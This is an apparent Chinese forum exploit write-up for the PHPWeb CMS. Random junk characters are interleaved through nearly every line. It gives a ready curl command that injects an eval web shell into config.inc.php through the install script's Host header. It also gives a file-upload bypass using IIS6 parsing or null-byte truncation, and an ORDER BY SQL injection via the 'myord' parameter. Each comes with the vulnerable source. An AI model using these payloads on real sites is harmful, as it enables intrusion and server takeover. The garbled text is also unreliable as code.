注入:
* |: H/ G: n& h9 r; O! y6 f8 S! H$ C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
. c$ Q0 x) b8 G8 G4 a u( Z% r& `; Z % ~: U9 g# h* J) o9 f' z7 o9 t
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 o! q) b. K) z7 @0 Q, I5 Z! {8 R
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
8 K5 f8 \0 h7 T3 L; B i4 a2 L
- A9 _; w& t' G: D' Y) u虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
6 N$ C" p# E* d9 U % J& W" V5 ?+ A" K
分析:
+ E4 N( a* h* B, z- L4 Z, W * a6 F- s9 w7 K" t" H
% c% S" l7 w- W [
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
& ]) ?, i0 ^' Z. k
& s7 S/ v9 Y6 }7 ?3 d6 G2 K7 s1 b $filestr = fread(fopen($SysConfigFile, 'r'),30000);
L$ p: z9 ?! q3 }" m% G$ q. u, ~ $filestr=str_replace(" ","",$filestr);
) c/ \- R6 ? \5 L! t, m $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);$ \9 b; [, E- O% e/ q
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
: F7 ^* f9 f; m' o' U $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
4 C- B# ?8 F1 T+ C9 ~! i* w $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
( \& t0 m- P, }4 Q- D4 ^0 z $filestr=str_replace("DefaultsLan","zh_cn",$filestr);' n) O. I9 S6 E1 k) T! I
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
& h* B- o7 B, H Z9 l# K7 c9 d/ H( _4 V/ J $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
. E/ M# P2 G! l; p/ j
9 a) z5 j! h/ {& X* J' B: ^ fwrite(fopen($ConFile,"w"),$filestr,30000);, H( Y9 F, b$ g, V1 d6 c8 z: i
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
; I' G4 K3 b! i! l6 u ( V( D {' ~- K$ j: Y1 A/ Q/ I8 M
poc:+ r/ ~( ~/ e% O4 o( {
5 u" [" T2 A+ O7 W" H7 a2 o, _, Y8 T
?
4 w) w* q! X0 K: Z* O1 n/ P# o+ [$ q3 D2 b1; I% Y ~( Z, i
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ [& T8 Y8 p! f4 Q/ A |7 Q! Z
shell地址: /config.inc.php6 f' w; i9 K7 G; L9 u% B+ T
跟之前的 phpcms一样 需要远程数据库0 m1 r5 r7 j8 P: H
& ]" R, W) s6 o+ p
——————————————————–% B/ ^" K2 m) c1 ~& U( N- g- Z
上传漏洞(需要进后台):
2 l0 V: j6 D$ |2 Y: e E漏洞文件: /kedit/upload_cgi/upload.php! |# X; G: T1 j E; g. G
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
8 z! F. w: m) ~/ b9 |- y" a
) m/ b, v* [% H , J& }# c: Q0 z+ p: E; U
<?php8 K& t; t& W6 [& h
define("ROOTPATH", "../../");
3 b% P6 [. y- G5 @+ }& w include(ROOTPATH."includes/admin.inc.php");% K2 l1 {* B: o& L# L$ n
NeedAuth(0);" }9 g' W, k% {! b" }
& m8 a+ H: F* G! _! ^ T4 f $dt=date("Ymd",time());
' K( C* h6 G. k9 j7 ^2 P0 }9 c if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
, p) R; a$ m; q6 q @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( {6 E8 \% j, x! `. I
}
, E- S6 s3 |6 I" R
4 V6 E# ?% ?; ^4 F- n //文件保存目录路径
& l- V* T! J. w* W1 ^5 G8 d. f $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 v+ Q8 }8 i% U4 C9 D q9 u
echo $save_path;
' a& G0 \' ~% `5 P( ^5 o+ Q //文件保存目录URL- C) v8 y6 W% O4 d
$save_url = '../../'.$_POST['attachPath'].$dt.'/';6 [* q3 z" ?+ r0 [
, u' t: _, \& S6 y1 [ //定义允许上传的文件扩展名, T, W; D' P# u6 g
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀7 a/ r8 Q4 H; T* d% N0 X
, ?8 _# h. b. N //最大文件大小
i+ H) [% w" L) W, ]' J( r, N! J $max_size = 1000000;: @0 U: i$ F# A& ~! O$ v# {9 S! v
8 a$ `+ c2 S; ?3 d* |! K3 }4 U
//更改目录权限
& x. {7 f+ a2 U( o$ V1 H' U @mkdir($save_path, 0777);
, p/ a+ @- f$ @ R' X" j
) p- X9 K0 @8 n1 O. n& B: _ //文件的全部路径
9 @8 Y" O: D. } U9 T- T $file_path = $save_path.$_POST['fileName']; //保存文件名
5 U' B5 z; ~8 W* B5 I" K
& {% F, P1 z, ~% J8 F |: M //文件URL
6 F4 m9 @, k! j2 N% M" P: v $file_url = $save_url.$_POST['fileName'];
. Z6 W5 h) S2 g6 O3 t3 t: Q7 Y//有上传文件时; Y, s @+ \# l2 C! Q7 S1 B
if (empty($_FILES) === false) {# i" ~( R, z- \" f" q
' p1 ]0 Y- q5 w4 Y* I //原文件名
7 ^$ V% z- o9 o4 W1 m$ D $file_name = $_FILES['fileData']['name'];
5 Q! M3 r$ K9 O/ t9 c0 ? //服务器上临时文件名" S- N! u8 H, D8 y% y8 W
$tmp_name = $_FILES['fileData']['tmp_name'];
$ w& o' E% W+ A3 t6 [: _0 B4 V, N //文件大小; p3 Z9 ?$ @3 W" t, U# q
$file_size = $_FILES['fileData']['size'];
3 [) S* [ ^, S4 D/ Y3 _' [* G- w& k3 h //检查目录
1 X- @$ g2 U J5 K( U& F S2 t* d) j if (@is_dir($save_path) === false) {, ], M/ c5 k8 A1 Z
alert("上传目录不存在。");
+ E& L* Y6 i$ B- t! ]3 |8 \" [7 O6 l }
I% O2 j: ^) ] //检查目录写权限2 G# a) c2 b3 X# k
if (@is_writable($save_path) === false) {
) P- `, J% t2 G7 s: [& R* D alert("上传目录没有写权限。");0 ?& o# s/ ?' n6 m; ~6 u& d; K* d
}
3 s& k3 n0 d) W" S //检查是否已上传8 a. ?- _2 Y9 D5 t# [
if (@is_uploaded_file($tmp_name) === false) {
+ ]4 j4 o1 O! ]8 Q- A! Q9 K alert("临时文件可能不是上传文件。");0 C& {& j4 l# `8 U2 A" z' G
}
9 u4 G0 ]5 @! a0 _- G //检查文件大小
5 O( U, }/ A8 [5 |, z T if ($file_size > $max_size) {
: `( X( J) t# _" p* q! V alert("上传文件大小超过限制。");
9 _# \3 d) i5 _) D }5 O! Y) M7 {) O( Y+ v
//获得文件扩展名
/ j/ B3 m" \/ ?$ ` $temp_arr = explode(".", $_POST['fileName']);7 y5 m% i" i, f, ^6 A: N0 S4 h
$file_ext = array_pop($temp_arr);
+ e5 I7 s- w7 c $file_ext = trim($file_ext);+ R7 V6 \+ B c# S9 p4 i; V
$file_ext = strtolower($file_ext);* H+ o m1 U% v6 Y; F3 E# I
& Y6 z+ c7 w. b( _1 Z; o& z$ ^" H+ { //检查扩展名
: t' L- ]% i6 U if (in_array($file_ext, $ext_arr) === false) {
$ ?1 ]! F4 J" Y/ \9 D" i) ~ alert("上传文件扩展名是不允许的扩展名。");( T' g" p# i% i1 l
}$ a4 h* a k" x# N. w1 v
1 m1 A1 f! S0 J h# n) X //移动文件
, a% p n* \7 c+ x$ F# m: c //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^' S: L& y5 z2 K% A9 d( [4 ^
if (move_uploaded_file($tmp_name, $file_path) === false) {7 P7 k/ {! u( L' u
alert("上传文件失败。");
' q* K" @ }9 {' ?( H2 I* J8 _# K }7 W: M% I, O4 I+ t) I9 K4 z3 t
+ V; Y$ \6 L4 p5 S- T# U. ~ @chmod($file_path,0666);1 _0 [ c/ @5 j/ n' D9 K, o( R$ L
# `6 J& p5 }& Y; d" J
?>
1 P- y/ z( k/ R5 f% }1 Y3 g抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227" a5 R6 b, o/ I( s8 E& J) R
0 v! F6 P; I1 k0 D; T6 v5 x/ rapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
N! g2 @% g( ~
g; G p: i& L——————————————————4 }/ Y0 |& D, B1 J# }
注入漏洞:
0 s0 X7 K9 {$ F" ~3 D9 _漏洞文件:search/module/search.php c* ^- D9 g0 I6 R$ ?
/search/index.php?key=1&myord=1 [sqlinjection]* ?* g: [9 ]! m- g: P1 P. J
5 p1 ~% e3 I: q" @9 |$ l
$ _4 D* M, r) k, ~7 G" V- M<?php, f+ p6 k7 Y4 D9 e
// ... 省略 n 行... I2 ^1 z* E( i$ \* q
//第18行:. Y! M( j* o; a9 h
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
) U V: U- H% U1 a/ I $page=htmlspecialchars($_GET["page"]);5 [: E7 G1 B4 `0 B& K
$myord=htmlspecialchars($_GET["myord"]);2 ?) z9 R6 B7 z$ M
+ l- C: ?+ d; }7 ~6 b. w // ... 省略 n 行...
# s* N, Q0 c9 x& X1 m8 F! c $key,$myord 两个参数带入查询0 P5 \1 c/ w% J& z" g
//第47行 $key:+ L" a4 b% R; b, T
5 y9 Y* Z1 f9 L7 }9 J $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..6 B+ S) R2 N* J3 n( E
+ V- Y" v6 C8 N7 Q3 k# i
//第197行 $myord
8 G0 T# v2 w2 X5 n4 a $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
$ I2 J/ N" E0 I% I6 r6 H6 K
+ J: `% t) \) z9 e, t8 ?, k, e, M ?>. n9 B' ?2 y9 r3 P
|